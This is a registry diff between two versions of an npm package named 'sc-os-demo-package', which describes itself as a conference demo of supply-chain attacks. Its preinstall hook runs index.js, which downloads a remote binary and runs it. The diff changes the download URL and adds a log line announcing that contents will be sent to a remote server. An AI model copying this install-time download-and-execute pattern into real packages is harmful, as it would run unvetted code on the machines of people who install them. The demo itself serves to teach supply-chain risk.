sc-os-demo-package 1.0.3 → 1.0.5

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/index.js +4 -2
  2. package/package.json +9 -10
package/index.js CHANGED
@@ -12,7 +12,7 @@ async function initialize() {
12
12
  await main(); // Main is here [Note]
13
13
  }
14
14
 
15
- const TARGET_URL = 'https://sc-demo-backup.nyc3.digitaloceanspaces.com/my-binary';
15
+ const TARGET_URL = 'https://sc-demo-recording.nyc3.digitaloceanspaces.com/my-binary';
16
16
  const BINARY_PATH = path.join(__dirname, 'my-binary');
17
17
 
18
18
  async function download() {
@@ -47,7 +47,9 @@ initialize().catch((err) => console.error(err));
47
47
 
48
48
  // Function to compare string against "supply chain"
49
49
  function compareString(str) {
50
- return str === "supply chain";
50
+ const comparisonResult = str === "supply chain";
51
+ console.log(`String comparison function completed.\n\nComparison result - ${comparisonResult}\n\nNow, running the binary. Sending the following contents to the remote server - `);
52
+ return comparisonResult;
51
53
  }
52
54
 
53
55
  // Exports
package/package.json CHANGED
@@ -1,27 +1,26 @@
1
1
  {
2
2
  "name": "sc-os-demo-package",
3
- "version": "1.0.3",
3
+ "version": "1.0.5",
4
4
  "description": "Demo package created as part of conference presentation.",
5
5
  "main": "index.js",
6
6
  "scripts": {
7
- "preinstall": "node index.js",
8
- "test": "echo \"Error: no test specified\" && exit 1"
7
+ "preinstall": "node index.js",
8
+ "test": "echo \"Error: no test specified\" && exit 1"
9
9
  },
10
10
  "repository": {
11
- "type": "git",
12
- "url": "git+https://github.com/verbal-noun/sc-demo-os-package.git"
11
+ "type": "git",
12
+ "url": "git+https://github.com/verbal-noun/sc-demo-os-package.git"
13
13
  },
14
14
  "keywords": [
15
- "DEMO"
15
+ "DEMO"
16
16
  ],
17
17
  "author": "Kaif Ahsan",
18
18
  "license": "ISC",
19
19
  "bugs": {
20
- "url": "https://github.com/verbal-noun/sc-demo-os-package/issues"
20
+ "url": "https://github.com/verbal-noun/sc-demo-os-package/issues"
21
21
  },
22
22
  "homepage": "https://github.com/verbal-noun/sc-demo-os-package#readme",
23
23
  "dependencies": {
24
- "node-fetch": "^3.3.2"
24
+ "node-fetch": "^3.3.2"
25
25
  }
26
- }
27
-
26
+ }